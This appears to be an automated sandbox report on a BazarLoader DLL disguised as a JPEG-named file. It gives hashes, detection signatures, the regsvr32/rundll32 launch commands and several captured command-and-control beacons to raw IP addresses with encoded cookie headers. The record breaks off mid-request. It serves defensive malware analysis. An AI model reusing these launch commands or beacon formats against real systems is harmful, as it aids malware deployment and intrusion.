Overview

overview

10

Static

static

htmlDefine...pg.dll

windows7_x64

10

htmlDefine...pg.dll

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    194s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    04/08/2021, 16:07 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    htmlDefineFunc.jpg.dll

  • Size

    254KB

  • MD5

    94b1dd32c7b1f7a4d9d0dd7e4c301dd6

  • SHA1

    17ec04d523899e9c63645aed68058404dbeeb557

  • SHA256

    d384dfdd90da4645a8d74956534cfcef7fcbbf4ed654e61b3d27384616b4bc4a

  • SHA512

    4873dfc934f5f58d2ac187af1233ca34f0b04737e0cb9aea8a5639fc1fb413bab1d232d6e56e7b9df6260b07eb87de1a0bd3b7499566220d432ebd4879697a58

Score
10/10
bazarloaderdropperloader

Malware Config

Signatures

  • Bazar Loader

    Detected loader normally used to deploy BazarBackdoor malware.

    loaderdropperbazarloader
  • Bazar/Team9 Loader payload 2 IoCs
  • Tries to connect to .bazar domain 45 IoCs

    Attempts to lookup or connect to a .bazar domain, used by BazarBackdoor, Trickbot, and potentially others.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

Processes

  • C:\Windows\system32\regsvr32.exe
    regsvr32 /s C:\Users\Admin\AppData\Local\Temp\htmlDefineFunc.jpg.dll
    1⤵
      PID:1644
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\htmlDefineFunc.jpg.dll,StartW 1861193117
      1⤵
        PID:536

      Network

      • flag-unknown
        GET
        https://64.227.77.160/out/gen/text/plain
        regsvr32.exe
        Remote address:
        64.227.77.160:443
        Request
        GET /out/gen/text/plain HTTP/1.1
        Date: Wednesday, 04 August 2021
        Cookie: ANID=hIaFI5LJSgerPzDgVW0fGokqrlU%2FjefoeKq9XF4NvJFfu57YFRvGW3Huab6wpcYbE8FdVJbzaRsSdO2qH8VzZscCIxKzM7GPsab9IYjOeg5yzwAiquOMKdPHUCPkBsyAa9VkC9elxQkcXlhm6xqZqa0s%2BkshVkgDdFLb0txHCO%2FNCt72hy3mqyxXK8lYE5tgY8KrmR6iRQ5nG2rw3Pjp%2FJnnSvQMCVIIzZ989D3FE8mYjeUM91Tt1g6N5iWINs%2FhoH1OgJ8zenw8Ci1Isp%2FTEnvrA7VfDXpSm%2BL5r7FhjBuBLANrUU5HIm2Hr9HAzfdBTn6vrFTLRlHuo%2ByxY%2F5S8Q%3D%3D;CGIC=zZ3MVrX%2BnCWXfnB%2BzWy4sQ7%2BlM%2BY6204fE8UAE7pwGS6YpI1NGb%2F%2Bkur5RAVCDrM%2BZeWd8D3yNNfg2lDCZR5E%2FuwFv9ahSyjk6AsrFM6RDryFVB7AlBOAZCXtYm2swGNWYmjqaE3pjGCsSry%2Bh1DQyTzg93wPspLqI529%2FiGMwoydF9NG%2FD%2BIQq0tGg1AS7WjWJ5FDewqtCC3h%2FKEiWqp1ccTMfGvMMHJjCHcvcM7AzdBBvg3Wk34B06meAOoCDq2HmWykNFFj2T%2F46BJJ0NsuUvw%2B%2FUfJsC35gz9KupJ79g50395vZvzxg%2FDOL9T5v%2F7ADlGJxOfuAXIh3bE5NhDai%2FOoHJwXEJFJxCynXOIN14ziJrOu1nPq58FQCDpyE%2BRdlvi9XG8Wq9cLvEmsqmj36Q0FSZUXKbBUpc4i2rsoNY6nb9TVM04TDNsnpETK7klMGjh2ACEhcmNd1qOW9Kkr7J%2B2TsMW315LDo5Vps;DV=XMT92a6WKrklOaxYQloUo0Tbtm3YfcAchiAJ%2B%2FkitMKtRPxJ33D9BLW3hWT%2FJC6f0%2FhmLlBuTpWV703uN2mRQ4vDzUE8yO8OaCo%2BypJ8UtzqvuhM4T8ESTyugNHNg5mocb1Uj6DQuE%2BAW3bMaY093NcX2RYR4wDsWXaW4eEYDft9ZPmbtwgg3dEGLb%2BwVS%2FwRElHwvuhK0sFsJmbm3UsjJZ2cd3ZBFSb2qJR4gTpM1RHpc6MGDMo8WK2vP%2FIJKajpotVq1GkCkbTJJq7%2BTFrmxIWQi4sRtPxZ100MZr2HzAdkgs7p16qg1bNhjiHvzJqzS2CnYKjx9hdaaksBzCMYjU%2FntkKh0zjfBYP3aT%2F6nL5iSNrjtqe5amguEYQwCymf5FQOePblY5g54jd%2BHmfh%2BKGWMdTD2H35ORIa1S5%2F%2Far3hEft%2FD7vVJQ%2F%2B81k0JJkNWOBNNWZjhjwtiXFGAY3rDmPObO2GaBEB4pwVCf;HSID=jZgGTNkbk%2FBK8ZVDvsFn7ZmHW4AGjkfh6S8Hk1AA0w7Z8OzzUMFTqu9xtDBJEIE2Uc7xa9IdcxnCNWSPEZrCc2ULCa3weYVfFtaOXTwHRxv9YiaE7lrG0chE1EJhPsvbIE7J%2BDhkGa6Dhj5JW5nl5J8OXVfDZhh18C1mkLqEwS7hTK7bCuxRH%2BwOZ%2BmURQAWUTYeXrdE27vS6kgdhyAL5tFdw1UxulEwJ0y%2FtmAMv4KIClaE88G1h5I%2Fv53tVLWQlYnmantPirxsY0JajwwJCiXjJDqXVUwF3GyQL%2FiKF0fi2aR5V51qoLnPNNyDbREGM5wu9qcCJPtHNonMxb2xm3ZSjJ4Cs8KqIKmC70xlbxpZymVwt76ndbtKDjDbB%2FcFTAYDAVzdI6mm1fqFuo%2FoA3%2FaZO2huTDieJNXLD5zpsC0wq2NadIh6i77faN6Dxt3JZAenf7BUxAiuVzo5%2FUxn03P9lF2SAtPQpv3%2FUbS;
        Vary: %2BYuxBQEv6bZP%2BX%2FolxUC7DYVwbFNSTIia9BZolvK6PTetYZCwiGFLZqhOKhpxb3K75R%2BLoeT%2FpRPuKPTgSc8QQ6Gd%2FfYdOFZ6dWzC%2Buk2fTJfc1dSdv6mg1x5%2FA8HoqC8Y2aT7T6TRKsrRKnVsBZ725qdKxaUvZBpukuD0mGjbarQ5wvK2NiXFwTEe183nydThlqz2cumzKqg%2FifxXNz0pXCgZM9PsyYApvlrwCBRstc%2FZ89UYpuLmKHVli9O6hJNQ%2F7aYRNtj9CYVwmwRKNpyx2AsRG4015MHv6v0sZbABBe1h1N6hI%2FXcxP3mLa5D2gpHJZT%2FWCUjNTuwzIQNiZfTsVeBcJr6RED6j0Ktt1xwCO01eu5LtiykzDuFX9GYColQ4ltnoDkV2X%2FYjKW%2BInLCNsi7y%2BR3vCJG56ZGAaHdboTuqhpHZB7Tlg3MIZ%2FhmNxzRGbBYpXOc%2FSwZUzJKTbNfNRVV5UO%2BEYQmGRkl
        Var: XyO2V%2FtWxzHx6fSfPnFEs6NR%2FSfSO9BynL5CPWJroR%2BROdHXL0a7%2BnMQbhLzcZ1wCmMu1XzHE1ILQfyDoptExqnYLPbB5zgRYxZaXDgixAO2%2BU0ZDC9WOvrcUMd58VI4UGvKSDNgNtUmKZ6osfYkxuo%2FmGKf5o8YxdOPIMGjds2QdP11Pq6%2BqfGFg7uyfGTB9Ue2wVD05BIt7qbWb0u%2FiZVG5NXdbwJ6NhZJBKwrW%2Fo%2Bs%2FgXvZoBnPYkDV98v%2BRiBvIIo%2BXC6jpz%2FJYlV3Q5Ru91KW9Jaivwv0faq5oiocy5wU5NWZMwbPXic0twgKtB7gt1WY%2BXtV%2FW%2BeTOgmztxq0KYDdXRvSbewGsGKElvpdqwwjBkl%2FBz6dZuA6hFLjtOZ08Q3AxGJ%2B5yzHnHCwInnQSLttG2CR7MSMh5wUXK6ksyO4D7uL8nTnnMSfYXAczhu3t8rzUQUgjs6QsFa4L6P19V5HTIwv9%2FWizg%2FC%2B
        X-Tag: XlJdP345%2F7Db8i6TMquFV9T1tWxzJLiRvR%2BXv3FwfFs7HuEw98Q8t954JBW6lm5oUn0dmDCeGQuCXylmDTNyg7tAgagLI3JxmGayy%2BCMS6B90qhb3YYp9zu4Dpw3yUMyMs5rRnHjJbxXBS%2FZhay8S31hqXhMcO1ND8G4gEs2298NmT8v8%2B3GfTsSw%2BEV81X4VqJo6fWjekK7mWZI9lW3ASSNgzRAc7xMfhNwJe%2B5WDsqglQk9sTtE1AXmelx6rzlo5Gh1oIts3Y7Pj54vD7N5FcnUjnqiEo1BBmiI174gfKW5jn8eSZMouH%2F%2BEpLHmuYeKpPS49XhkqJp0rf63pK6gfg6qANdLJ6DYAeTReQOVATtGinmB3lVk%2F%2FVfxEOe3%2BcmNGb%2BrWBhNAEFWQ05R4PIyqWUiFLK3zj%2BD%2FdtYQT0kX7Nsb%2FwGUF%2B90V%2B0xEFVdRpZeHaGupswPCdLXnnaUGOJkx%2BTxf%2F16s1h4wHfO
        Host: 64.227.77.160
        Response
        HTTP/1.1 502 Bad Gateway
        Server: nginx/1.18.0 (Ubuntu)
        Date: Wed, 04 Aug 2021 16:08:06 GMT
        Content-Type: text/html
        Content-Length: 166
        Connection: keep-alive
      • flag-unknown
        GET
        https://64.227.77.21/out/gen/text/plain
        regsvr32.exe
        Remote address:
        64.227.77.21:443
        Request
        GET /out/gen/text/plain HTTP/1.1
        Date: Wednesday, 04 August 2021
        Cookie: ANID=hIaFI5LJSgerPzDgVW0fGokqrlU%2FjefoeKq9XF4NvJFfu57YFRvGW3Huab6wpcYbE8FdVJbzaRsSdO2qH8VzZscCIxKzM7GPsab9IYjOeg5yzwAiquOMKdPHUCPkBsyAa9VkC9elxQkcXlhm6xqZqa0s%2BkshVkgDdFLb0txHCO%2FNCt72hy3mqyxXK8lYE5tgY8KrmR6iRQ5nG2rw3Pjp%2FJnnSvQMCVIIzZ989D3FE8mYjeUM91Tt1g6N5iWINs%2FhoH1OgJ8zenw8Ci1Isp%2FTEnvrA7VfDXpSm%2BL5r7FhjBuBLANrUU5HIm2Hr9HAzfdBTn6vrFTLRlHuo%2ByxY%2F5S8Q%3D%3D;CGIC=zZ3MVrX%2BnCWXfnB%2BzWy4sQ7%2BlM%2BY6204fE8UAE7pwGS6YpI1NGb%2F%2Bkur5RAVCDrM%2BZeWd8D3yNNfg2lDCZR5E%2FuwFv9ahSyjk6AsrFM6RDryFVB7AlBOAZCXtYm2swGNWYmjqaE3pjGCsSry%2Bh1DQyTzg93wPspLqI529%2FiGMwoydF9NG%2FD%2BIQq0tGg1AS7WjWJ5FDewqtCC3h%2FKEiWqp1ccTMfGvMMHJjCHcvcM7AzdBBvg3Wk34B06meAOoCDq2HmWykNFFj2T%2F46BJJ0NsuUvw%2B%2FUfJsC35gz9KupJ79g50395vZvzxg%2FDOL9T5v%2F7ADlGJxOfuAXIh3bE5NhDai%2FOoHJwXEJFJxCynXOIN14ziJrOu1nPq58FQCDpyE%2BRdlvi9XG8Wq9cLvEmsqmj36Q0FSZUXKbBUpc4i2rsoNY6nb9TVM04TDNsnpETK7klMGjh2ACEhcmNd1qOW9Kkr7J%2B2TsMW315LDo5Vps;DV=XMT92a6WKrklOaxYQloUo0Tbtm3YfcAchiAJ%2B%2FkitMKtRPxJ33D9BLW3hWT%2FJC6f0%2FhmLlBuTpWV703uN2mRQ4vDzUE8yO8OaCo%2BypJ8UtzqvuhM4T8ESTyugNHNg5mocb1Uj6DQuE%2BAW3bMaY093NcX2RYR4wDsWXaW4eEYDft9ZPmbtwgg3dEGLb%2BwVS%2FwRElHwvuhK0sFsJmbm3UsjJZ2cd3ZBFSb2qJR4gTpM1RHpc6MGDMo8WK2vP%2FIJKajpotVq1GkCkbTJJq7%2BTFrmxIWQi4sRtPxZ100MZr2HzAdkgs7p16qg1bNhjiHvzJqzS2CnYKjx9hdaaksBzCMYjU%2FntkKh0zjfBYP3aT%2F6nL5iSNrjtqe5amguEYQwCymf5FQOePblY5g54jd%2BHmfh%2BKGWMdTD2H35ORIa1S5%2F%2Far3hEft%2FD7vVJQ%2F%2B81k0JJkNWOBNNWZjhjwtiXFGAY3rDmPObO2GaBEB4pwVCf;HSID=jZgGTNkbk%2FBK8ZVDvsFn7ZmHW4AGjkfh6S8Hk1AA0w7Z8OzzUMFTqu9xtDBJEIE2Uc7xa9IdcxnCNWSPEZrCc2ULCa3weYVfFtaOXTwHRxv9YiaE7lrG0chE1EJhPsvbIE7J%2BDhkGa6Dhj5JW5nl5J8OXVfDZhh18C1mkLqEwS7hTK7bCuxRH%2BwOZ%2BmURQAWUTYeXrdE27vS6kgdhyAL5tFdw1UxulEwJ0y%2FtmAMv4KIClaE88G1h5I%2Fv53tVLWQlYnmantPirxsY0JajwwJCiXjJDqXVUwF3GyQL%2FiKF0fi2aR5V51qoLnPNNyDbREGM5wu9qcCJPtHNonMxb2xm3ZSjJ4Cs8KqIKmC70xlbxpZymVwt76ndbtKDjDbB%2FcFTAYDAVzdI6mm1fqFuo%2FoA3%2FaZO2huTDieJNXLD5zpsC0wq2NadIh6i77faN6Dxt3JZAenf7BUxAiuVzo5%2FUxn03P9lF2SAtPQpv3%2FUbS;
        Vary: %2BYuxBQEv6bZP%2BX%2FolxUC7DYVwbFNSTIia9BZolvK6PTetYZCwiGFLZqhOKhpxb3K75R%2BLoeT%2FpRPuKPTgSc8QQ6Gd%2FfYdOFZ6dWzC%2Buk2fTJfc1dSdv6mg1x5%2FA8HoqC8Y2aT7T6TRKsrRKnVsBZ725qdKxaUvZBpukuD0mGjbarQ5wvK2NiXFwTEe183nydThlqz2cumzKqg%2FifxXNz0pXCgZM9PsyYApvlrwCBRstc%2FZ89UYpuLmKHVli9O6hJNQ%2F7aYRNtj9CYVwmwRKNpyx2AsRG4015MHv6v0sZbABBe1h1N6hI%2FXcxP3mLa5D2gpHJZT%2FWCUjNTuwzIQNiZfTsVeBcJr6RED6j0Ktt1xwCO01eu5LtiykzDuFX9GYColQ4ltnoDkV2X%2FYjKW%2BInLCNsi7y%2BR3vCJG56ZGAaHdboTuqhpHZB7Tlg3MIZ%2FhmNxzRGbBYpXOc%2FSwZUzJKTbNfNRVV5UO%2BEYQmGRkl
        Var: XyO2V%2FtWxzHx6fSfPnFEs6NR%2FSfSO9BynL5CPWJroR%2BROdHXL0a7%2BnMQbhLzcZ1wCmMu1XzHE1ILQfyDoptExqnYLPbB5zgRYxZaXDgixAO2%2BU0ZDC9WOvrcUMd58VI4UGvKSDNgNtUmKZ6osfYkxuo%2FmGKf5o8YxdOPIMGjds2QdP11Pq6%2BqfGFg7uyfGTB9Ue2wVD05BIt7qbWb0u%2FiZVG5NXdbwJ6NhZJBKwrW%2Fo%2Bs%2FgXvZoBnPYkDV98v%2BRiBvIIo%2BXC6jpz%2FJYlV3Q5Ru91KW9Jaivwv0faq5oiocy5wU5NWZMwbPXic0twgKtB7gt1WY%2BXtV%2FW%2BeTOgmztxq0KYDdXRvSbewGsGKElvpdqwwjBkl%2FBz6dZuA6hFLjtOZ08Q3AxGJ%2B5yzHnHCwInnQSLttG2CR7MSMh5wUXK6ksyO4D7uL8nTnnMSfYXAczhu3t8rzUQUgjs6QsFa4L6P19V5HTIwv9%2FWizg%2FC%2B
        X-Tag: XlJdP345%2F7Db8i6TMquFV9T1tWxzJLiRvR%2BXv3FwfFs7HuEw98Q8t954JBW6lm5oUn0dmDCeGQuCXylmDTNyg7tAgagLI3JxmGayy%2BCMS6B90qhb3YYp9zu4Dpw3yUMyMs5rRnHjJbxXBS%2FZhay8S31hqXhMcO1ND8G4gEs2298NmT8v8%2B3GfTsSw%2BEV81X4VqJo6fWjekK7mWZI9lW3ASSNgzRAc7xMfhNwJe%2B5WDsqglQk9sTtE1AXmelx6rzlo5Gh1oIts3Y7Pj54vD7N5FcnUjnqiEo1BBmiI174gfKW5jn8eSZMouH%2F%2BEpLHmuYeKpPS49XhkqJp0rf63pK6gfg6qANdLJ6DYAeTReQOVATtGinmB3lVk%2F%2FVfxEOe3%2BcmNGb%2BrWBhNAEFWQ05R4PIyqWUiFLK3zj%2BD%2FdtYQT0kX7Nsb%2FwGUF%2B90V%2B0xEFVdRpZeHaGupswPCdLXnnaUGOJkx%2BTxf%2F16s1h4wHfO
        Host: 64.227.77.21
        Response
        HTTP/1.1 502 Bad Gateway
        Server: nginx/1.18.0 (Ubuntu)
        Date: Wed, 04 Aug 2021 16:08:07 GMT
        Content-Type: text/html
        Content-Length: 166
        Connection: keep-alive
      • flag-unknown
        GET
        https://64.227.73.32/out/gen/text/plain
        regsvr32.exe
        Remote address:
        64.227.73.32:443
        Request
        GET /out/gen/text/plain HTTP/1.1
        Date: Wednesday, 04 August 2021
        Cookie: ANID=hIaFI5LJSgerPzDgVW0fGokqrlU%2FjefoeKq9XF4NvJFfu57YFRvGW3Huab6wpcYbE8FdVJbzaRsSdO2qH8VzZscCIxKzM7GPsab9IYjOeg5yzwAiquOMKdPHUCPkBsyAa9VkC9elxQkcXlhm6xqZqa0s%2BkshVkgDdFLb0txHCO%2FNCt72hy3mqyxXK8lYE5tgY8KrmR6iRQ5nG2rw3Pjp%2FJnnSvQMCVIIzZ989D3FE8mYjeUM91Tt1g6N5iWINs%2FhoH1OgJ8zenw8Ci1Isp%2FTEnvrA7VfDXpSm%2BL5r7FhjBuBLANrUU5HIm2Hr9HAzfdBTn6vrFTLRlHuo%2ByxY%2F5S8Q%3D%3D;CGIC=zZ3MVrX%2BnCWXfnB%2BzWy4sQ7%2BlM%2BY6204fE8UAE7pwGS6YpI1NGb%2F%2Bkur5RAVCDrM%2BZeWd8D3yNNfg2lDCZR5E%2FuwFv9ahSyjk6AsrFM6RDryFVB7AlBOAZCXtYm2swGNWYmjqaE3pjGCsSry%2Bh1DQyTzg93wPspLqI529%2FiGMwoydF9NG%2FD%2BIQq0tGg1AS7WjWJ5FDewqtCC3h%2FKEiWqp1ccTMfGvMMHJjCHcvcM7AzdBBvg3Wk34B06meAOoCDq2HmWykNFFj2T%2F46BJJ0NsuUvw%2B%2FUfJsC35gz9KupJ79g50395vZvzxg%2FDOL9T5v%2F7ADlGJxOfuAXIh3bE5NhDai%2FOoHJwXEJFJxCynXOIN14ziJrOu1nPq58FQCDpyE%2BRdlvi9XG8Wq9cLvEmsqmj36Q0FSZUXKbBUpc4i2rsoNY6nb9TVM04TDNsnpETK7klMGjh2ACEhcmNd1qOW9Kkr7J%2B2TsMW315LDo5Vps;DV=XMT92a6WKrklOaxYQloUo0Tbtm3YfcAchiAJ%2B%2FkitMKtRPxJ33D9BLW3hWT%2FJC6f0%2FhmLlBuTpWV703uN2mRQ4vDzUE8yO8OaCo%2BypJ8UtzqvuhM4T8ESTyugNHNg5mocb1Uj6DQuE%2BAW3bMaY093NcX2RYR4wDsWXaW4eEYDft9ZPmbtwgg3dEGLb%2BwVS%2FwRElHwvuhK0sFsJmbm3UsjJZ2cd3ZBFSb2qJR4gTpM1RHpc6MGDMo8WK2vP%2FIJKajpotVq1GkCkbTJJq7%2BTFrmxIWQi4sRtPxZ100MZr2HzAdkgs7p16qg1bNhjiHvzJqzS2CnYKjx9hdaaksBzCMYjU%2FntkKh0zjfBYP3aT%2F6nL5iSNrjtqe5amguEYQwCymf5FQOePblY5g54jd%2BHmfh%2BKGWMdTD2H35ORIa1S5%2F%2Far3hEft%2FD7vVJQ%2F%2B81k0JJkNWOBNNWZjhjwtiXFGAY3rDmPObO2GaBEB4pwVCf;HSID=jZgGTNkbk%2FBK8ZVDvsFn7ZmHW4AGjkfh6S8Hk1AA0w7Z8OzzUMFTqu9xtDBJEIE2Uc7xa9IdcxnCNWSPEZrCc2ULCa3weYVfFtaOXTwHRxv9YiaE7lrG0chE1EJhPsvbIE7J%2BDhkGa6Dhj5JW5nl5J8OXVfDZhh18C1mkLqEwS7hTK7bCuxRH%2BwOZ%2BmURQAWUTYeXrdE27vS6kgdhyAL5tFdw1UxulEwJ0y%2FtmAMv4KIClaE88G1h5I%2Fv53tVLWQlYnmantPirxsY0JajwwJCiXjJDqXVUwF3GyQL%2FiKF0fi2aR5V51qoLnPNNyDbREGM5wu9qcCJPtHNonMxb2xm3ZSjJ4Cs8KqIKmC70xlbxpZymVwt76ndbtKDjDbB%2FcFTAYDAVzdI6mm1fqFuo%2FoA3%2FaZO2huTDieJNXLD5zpsC0wq2NadIh6i77faN6Dxt3JZAenf7BUxAiuVzo5%2FUxn03P9lF2SAtPQpv3%2FUbS;
        Vary: %2BYuxBQEv6bZP%2BX%2FolxUC7DYVwbFNSTIia9BZolvK6PTetYZCwiGFLZqhOKhpxb3K75R%2BLoeT%2FpRPuKPTgSc8QQ6Gd%2FfYdOFZ6dWzC%2Buk2fTJfc1dSdv6mg1x5%2FA8HoqC8Y2aT7T6TRKsrRKnVsBZ725qdKxaUvZBpukuD0mGjbarQ5wvK2NiXFwTEe183nydThlqz2cumzKqg%2FifxXNz0pXCgZM9PsyYApvlrwCBRstc%2FZ89UYpuLmKHVli9O6hJNQ%2F7aYRNtj9CYVwmwRKNpyx2AsRG4015MHv6v0sZbABBe1h1N6hI%2FXcxP3mLa5D2gpHJZT%2FWCUjNTuwzIQNiZfTsVeBcJr6RED6j0Ktt1xwCO01eu5LtiykzDuFX9GYColQ4ltnoDkV2X%2FYjKW%2BInLCNsi7y%2BR3vCJG56ZGAaHdboTuqhpHZB7Tlg3MIZ%2FhmNxzRGbBYpXOc%2FSwZUzJKTbNfNRVV5UO%2BEYQmGRkl
        Var: XyO2V%2FtWxzHx6fSfPnFEs6NR%2FSfSO9BynL5CPWJroR%2BROdHXL0a7%2BnMQbhLzcZ1wCmMu1XzHE1ILQfyDoptExqnYLPbB5zgRYxZaXDgixAO2%2BU0ZDC9WOvrcUMd58VI4UGvKSDNgNtUmKZ6osfYkxuo%2FmGKf5o8YxdOPIMGjds2QdP11Pq6%2BqfGFg7uyfGTB9Ue2wVD05BIt7qbWb0u%2FiZVG5NXdbwJ6NhZJBKwrW%2Fo%2Bs%2FgXvZoBnPYkDV98v%2BRiBvIIo%2BXC6jpz%2FJYlV3Q5Ru91KW9Jaivwv0faq5oiocy5wU5NWZMwbPXic0twgKtB7gt1WY%2BXtV%2FW%2BeTOgmztxq0KYDdXRvSbewGsGKElvpdqwwjBkl%2FBz6dZuA6hFLjtOZ08Q3AxGJ%2B5yzHnHCwInnQSLttG2CR7MSMh5wUXK6ksyO4D7uL8nTnnMSfYXAczhu3t8rzUQUgjs6QsFa4L6P19V5HTIwv9%2FWizg%2FC%2B
        X-Tag: XlJdP345%2F7Db8i6TMquFV9T1tWxzJLiRvR%2BXv3FwfFs7HuEw98Q8t954JBW6lm5oUn0dmDCeGQuCXylmDTNyg7tAgagLI3JxmGayy%2BCMS6B90qhb3YYp9zu4Dpw3yUMyMs5rRnHjJbxXBS%2FZhay8S31hqXhMcO1ND8G4gEs2298NmT8v8%2B3GfTsSw%2BEV81X4VqJo6fWjekK7mWZI9lW3ASSNgzRAc7xMfhNwJe%2B5WDsqglQk9sTtE1AXmelx6rzlo5Gh1oIts3Y7Pj54vD7N5FcnUjnqiEo1BBmiI174gfKW5jn8eSZMouH%2F%2BEpLHmuYeKpPS49XhkqJp0rf63pK6gfg6qANdLJ6DYAeTReQOVATtGinmB3lVk%2F%2FVfxEOe3%2BcmNGb%2BrWBhNAEFWQ05R4PIyqWUiFLK3zj%2BD%2FdtYQT0kX7Nsb%2FwGUF%2B90V%2B0xEFVdRpZeHaGupswPCdLXnnaUGOJkx%2BTxf%2F16s1h4wHfO
        Host: 64.227.73.32
        Response
        HTTP/1.1 502 Bad Gateway
        Server: nginx/1.18.0 (Ubuntu)
        Date: Wed, 04 Aug 2021 16:08:07 GMT
        Content-Type: text/html
        Content-Length: 166
        Connection: keep-alive
      • flag-unknown
        GET
        https://64.227.73.80/out/gen/text/plain
        regsvr32.exe
        Remote address:
        64.227.73.80:443
        Request
        GET /out/gen/text/plain HTTP/1.1
        Date: Wednesday, 04 August 2021
        Cookie: ANID=hIaFI5LJSgerPzDgVW0fGokqrlU%2FjefoeKq9XF4NvJFfu57YFRvGW3Huab6wpcYbE8FdVJbzaRsSdO2qH8VzZscCIxKzM7GPsab9IYjOeg5yzwAiquOMKdPHUCPkBsyAa9VkC9elxQkcXlhm6xqZqa0s%2BkshVkgDdFLb0txHCO%2FNCt72hy3mqyxXK8lYE5tgY8KrmR6iRQ5nG2rw3Pjp%2FJnnSvQMCVIIzZ989D3FE8mYjeUM91Tt1g6N5iWINs%2FhoH1OgJ8zenw8Ci1Isp%2FTEnvrA7VfDXpSm%2BL5r7FhjBuBLANrUU5HIm2Hr9HAzfdBTn6vrFTLRlHuo%2ByxY%2F5S8Q%3D%3D;CGIC=zZ3MVrX%2BnCWXfnB%2BzWy4sQ7%2BlM%2BY6204fE8UAE7pwGS6YpI1NGb%2F%2Bkur5RAVCDrM%2BZeWd8D3yNNfg2lDCZR5E%2FuwFv9ahSyjk6AsrFM6RDryFVB7AlBOAZCXtYm2swGNWYmjqaE3pjGCsSry%2Bh1DQyTzg93wPspLqI529%2FiGMwoydF9NG%2FD%2BIQq0tGg1AS7WjWJ5FDewqtCC3h%2FKEiWqp1ccTMfGvMMHJjCHcvcM7AzdBBvg3Wk34B06meAOoCDq2HmWykNFFj2T%2F46BJJ0NsuUvw%2B%2FUfJsC35gz9KupJ79g50395vZvzxg%2FDOL9T5v%2F7ADlGJxOfuAXIh3bE5NhDai%2FOoHJwXEJFJxCynXOIN14ziJrOu1nPq58FQCDpyE%2BRdlvi9XG8Wq9cLvEmsqmj36Q0FSZUXKbBUpc4i2rsoNY6nb9TVM04TDNsnpETK7klMGjh2ACEhcmNd1qOW9Kkr7J%2B2TsMW315LDo5Vps;DV=XMT92a6WKrklOaxYQloUo0Tbtm3YfcAchiAJ%2B%2FkitMKtRPxJ33D9BLW3hWT%2FJC6f0%2FhmLlBuTpWV703uN2mRQ4vDzUE8yO8OaCo%2BypJ8UtzqvuhM4T8ESTyugNHNg5mocb1Uj6DQuE%2BAW3bMaY093NcX2RYR4wDsWXaW4eEYDft9ZPmbtwgg3dEGLb%2BwVS%2FwRElHwvuhK0sFsJmbm3UsjJZ2cd3ZBFSb2qJR4gTpM1RHpc6MGDMo8WK2vP%2FIJKajpotVq1GkCkbTJJq7%2BTFrmxIWQi4sRtPxZ100MZr2HzAdkgs7p16qg1bNhjiHvzJqzS2CnYKjx9hdaaksBzCMYjU%2FntkKh0zjfBYP3aT%2F6nL5iSNrjtqe5amguEYQwCymf5FQOePblY5g54jd%2BHmfh%2BKGWMdTD2H35ORIa1S5%2F%2Far3hEft%2FD7vVJQ%2F%2B81k0JJkNWOBNNWZjhjwtiXFGAY3rDmPObO2GaBEB4pwVCf;HSID=jZgGTNkbk%2FBK8ZVDvsFn7ZmHW4AGjkfh6S8Hk1AA0w7Z8OzzUMFTqu9xtDBJEIE2Uc7xa9IdcxnCNWSPEZrCc2ULCa3weYVfFtaOXTwHRxv9YiaE7lrG0chE1EJhPsvbIE7J%2BDhkGa6Dhj5JW5nl5J8OXVfDZhh18C1mkLqEwS7hTK7bCuxRH%2BwOZ%2BmURQAWUTYeXrdE27vS6kgdhyAL5tFdw1UxulEwJ0y%2FtmAMv4KIClaE88G1h5I%2Fv53tVLWQlYnmantPirxsY0JajwwJCiXjJDqXVUwF3GyQL%2FiKF0fi2aR5V51qoLnPNNyDbREGM5wu9qcCJPtHNonMxb2xm3ZSjJ4Cs8KqIKmC70xlbxpZymVwt76ndbtKDjDbB%2FcFTAYDAVzdI6mm1fqFuo%2FoA3%2FaZO2huTDieJNXLD5zpsC0wq2NadIh6i77faN6Dxt3JZAenf7BUxAiuVzo5%2FUxn03P9lF2SAtPQpv3%2FUbS;
        Vary: %2BYuxBQEv6bZP%2BX%2FolxUC7DYVwbFNSTIia9BZolvK6PTetYZCwiGFLZqhOKhpxb3K75R%2BLoeT%2FpRPuKPTgSc8QQ6Gd%2FfYdOFZ6dWzC%2Buk2fTJfc1dSdv6mg1x5%2FA8HoqC8Y2aT7T6TRKsrRKnVsBZ725qdKxaUvZBpukuD0mGjbarQ5wvK2NiXFwTEe183nydThlqz2cumzKqg%2FifxXNz0pXCgZM9PsyYApvlrwCBRstc%2FZ89UYpuLmKHVli9O6hJNQ%2F7aYRNtj9CYVwmwRKNpyx2AsRG4015MHv6v0sZbABBe1h1N6hI%2FXcxP3mLa5D2gpHJZT%2FWCUjNTuwzIQNiZfTsVeBcJr6RED6j0Ktt1xwCO01eu5LtiykzDuFX9GYColQ4ltnoDkV2X%2FYjKW%2BInLCNsi7y%2BR3vCJG56ZGAaHdboTuqhpHZB7Tlg3MIZ%2FhmNxzRGbBYpXOc%2FSwZUzJKTbNfNRVV5UO%2BEYQmGRkl
        Var: XyO2V%2FtWxzHx6fSfPnFEs6NR%2FSfSO9BynL5CPWJroR%2BROdHXL0a7%2BnMQbhLzcZ1wCmMu1XzHE1ILQfyDoptExqnYLPbB5zgRYxZaXDgixAO2%2BU0ZDC9WOvrcUMd58VI4UGvKSDNgNtUmKZ6osfYkxuo%2FmGKf5o8YxdOPIMGjds2QdP11Pq6%2BqfGFg7uyfGTB9Ue2wVD05BIt7qbWb0u%2FiZVG5NXdbwJ6NhZJBKwrW%2Fo%2Bs%2FgXvZoBnPYkDV98v%2BRiBvIIo%2BXC6jpz%2FJYlV3Q5Ru91KW9Jaivwv0faq5oiocy5wU5NWZMwbPXic0twgKtB7gt1WY%2BXtV%2FW%2BeTOgmztxq0KYDdXRvSbewGsGKElvpdqwwjBkl%2FBz6dZuA6hFLjtOZ08Q3AxGJ%2B5yzHnHCwInnQSLttG2CR7MSMh5wUXK6ksyO4D7uL8nTnnMSfYXAczhu3t8rzUQUgjs6QsFa4L6P19V5HTIwv9%2FWizg%2FC%2B
